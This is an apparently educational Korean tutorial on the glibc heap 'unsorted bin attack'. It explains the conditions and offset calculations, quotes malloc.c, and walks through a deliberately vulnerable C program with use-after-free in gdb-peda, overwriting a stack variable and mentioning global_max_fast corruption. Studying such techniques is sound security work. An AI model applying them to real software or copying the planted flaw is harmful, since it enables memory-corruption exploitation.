Excuse the ads! We need some help to keep our site up.
List
Conditions
- 해당 기술은 다음과 같은 조건에서 동작합니다.
- 공격자에 의해 Unsorted chunk를 생성 할 수있어야 합니다.
- 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
- 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.
Exploit plan
- 다음과 같은 방법으로 공격할 수 있습니다.
2개의 Heap(Small chunk)을 생성합니다.
첫번째 Heap 영역을 해제합니다.
- 해당 Heap 영역은 Unsort bin에 등록됩니다.
해제된 첫번째 Heap의 bk 영역에 공격 대상이 될 주소 값을 덮어 씁니다.
- bk 영역에 저장 값 계산
- 32 bit : 공격 대상의 주소 값 - 8
- 64 bit : 공격 대상의 주소 값 - 16
- bk 영역에 저장 값 계산
첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당 합니다.
이로 인해 공격 대상 영역에 main_arena 영역의 주소가 저장됩니다.
Exploit point
- 아래의 malloc.c 코드에 의해 취약성이 발생합니다.
- unsorted bin에 등록된 unsorted chunk의 bk값을 변경하여 victim의 값을 변경할 수 있습니다.
- 변경된 victim의 bk영역에 저장된 값을 bck에 저장합니다.
- 이로 인해 변경된 unsorted chunk의 bk값 + 0x10 영역에 main_arena.bins[0]의 주소값을 저장할 수 있습니다.(line 3511)
malloc.c
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; ... /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ... }
unsorted_chunks (av)
unsorted_chunks() 함수는 bin[0] 의 주소를 리턴 합니다.
Example
Files
Source code
#include <stdio.h> #include <stdlib.h> int main(){ long state = 0; printf("Stack : %p\n", &state); char *buf1 = malloc(130); char *buf2 = malloc(500); free(buf1); scanf("%16s",buf1); buf1 = malloc(130); if(state){ printf("Hello world!\n"); } }
Exploit flow
unsorted bin attack
Debugging
- 다음과 같이 Break point를 설정합니다.
- 0x4006c6 : free() 함수 호출
- 0x4006dc : scanf() 함수 호출
- 0x4006e6 : malloc() 함수 호출
- 0x4006fd : put() 함수 호출
Break points
gdb-peda$ b *0x00000000004006c6 Breakpoint 1 at 0x4006c6 gdb-peda$ b *0x00000000004006dc Breakpoint 2 at 0x4006dc gdb-peda$ b *0x00000000004006e6 Breakpoint 3 at 0x4006e6 gdb-peda$ b *0x00000000004006fd Breakpoint 4 at 0x4006fd
- 다음과 같이 Heap 의 구조와 Unsorted bin의 상태를 확인할 수 있습니다.
- Unsorted bin에 등록된 chunk는 없습니다.
check of Unsorted bin and Heap
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/unsortedBinAttack Stack : 0x7fffffffe258 Breakpoint 1, 0x00000000004006c6 in main () gdb-peda$ p main_arena.bins[1] $1 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88> gdb-peda$ x/84gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000201 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000000 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 0x602190: 0x0000000000000000 0x0000000000000000 0x6021a0: 0x0000000000000000 0x0000000000000000 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 0x6021e0: 0x0000000000000000 0x0000000000000000 0x6021f0: 0x0000000000000000 0x0000000000000000 0x602200: 0x0000000000000000 0x0000000000000000 0x602210: 0x0000000000000000 0x0000000000000000 0x602220: 0x0000000000000000 0x0000000000000000 0x602230: 0x0000000000000000 0x0000000000000000 0x602240: 0x0000000000000000 0x0000000000000000 0x602250: 0x0000000000000000 0x0000000000000000 0x602260: 0x0000000000000000 0x0000000000000000 0x602270: 0x0000000000000000 0x0000000000000000 0x602280: 0x0000000000000000 0x0000000000000000 0x602290: 0x0000000000000000 0x0000000000020d71 gdb-peda$
- 다음과 같이 bk영역에 값을 덮어쓸수 있습니다.
- 첫번째 Heap 영역이 해제되어 Unsorted bin에 등록되었습니다.
- 첫번째 Heap 영역이 Free chunk로 변경되었으며, 해당 영역을 덮어쓸 수 있습니다.
- 'A' * 8 + 'B' * 8 개의 문자를 입력
- Unsorted bin attack을 확인하기 위해 아래와 같이 값을 변경합니다.
0x602010 : 0x00007ffff7dd37b8
- 0x602018 : state addr(0x7fffffffe258) - 16 = 0x00007fffffffe248
Overwrite for fd and bk
gdb-peda$ c Continuing. Breakpoint 2, 0x00000000004006dc in main () gdb-peda$ p main_arena.bins[1] $2 = (mchunkptr) 0x602000 gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 0x602020: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAABBBBBBBB gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x4141414141414141 0x4242424242424242 0x602020: 0x0000000000000000 0x0000000000000000 0x00000000004006e1 in main () gdb-peda$ set *0x602010 = 0x00007ffff7dd37b8 gdb-peda$ set *0x602014 = 0x00007fff gdb-peda$ set *0x602018 = 0x7fffffffe258 - 16 gdb-peda$ set *0x60201c = 0x7fff gdb-peda$ x/6gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd37b8 0x00007fffffffe248 0x602020: 0x0000000000000000 0x0000000000000000 gdb-peda$
- 다음과 같이 state 변수에 값이 저장되었습니다.
- 해제된 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당해서 state변수에 값이 저장되었습니다.
- 저장된 값은 main_arena+88 영역의 주소 값입니다.
- main_arena+88 영역은 main_arena의 top영역입니다.
- 이러한 현상은 free chunk의 bk영역에 덮어썻기 때문입니다.
- free() 함수에서 덮어쓴 bk값을 확인하고 다음 Chunk가 존재한다고 판단했기 때문입니다.
- free() 함수는 0x00007fffffffe248 영역이 다음 chunk이기 때문에 fd 영역(0x7fffffffe258)에 free chunk의 fd값(0x7ffff7dd37b8)을 저장합니다.
The value of State variable changed
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006e6 in main () gdb-peda$ x/gx 0x7fffffffe258 0x7fffffffe258: 0x0000000000000000 gdb-peda$ ni 0x00000000004006eb in main () gdb-peda$ x/gx 0x7fffffffe258 0x7fffffffe258: 0x00007ffff7dd37b8 gdb-peda$ x/gx 0x00007ffff7dd37b8 0x7ffff7dd37b8 <main_arena+88>: 0x0000000000602290 gdb-peda$ p &main_arena.top $3 = (mchunkptr *) 0x7ffff7dd37b8 <main_arena+88> gdb-peda$ p main_arena.bins[1] $10 = (mchunkptr) 0x7fffffffe248 gdb-peda$
- 다음과 같이 프로그램에서 문장을 출력합니다.
- state 변수의 값이 저장되어 if()의 조건을 만족시켰습니다.
- 해당 예제에서는 단순히 if()의 조건을 우회하기 위해 사용했으나, 다른 방법으로도 악용할 수 있습니다.
- main_arena 영역에 값을 덮어쓰거나, global_max_fast 의 값을 변경 할 수 있습니다.
Outputs "Hello World!".
gdb-peda$ c Continuing. Breakpoint 4, 0x00000000004006fd in main () gdb-peda$ ni Hello world! 0x0000000000400702 in main () gdb-peda$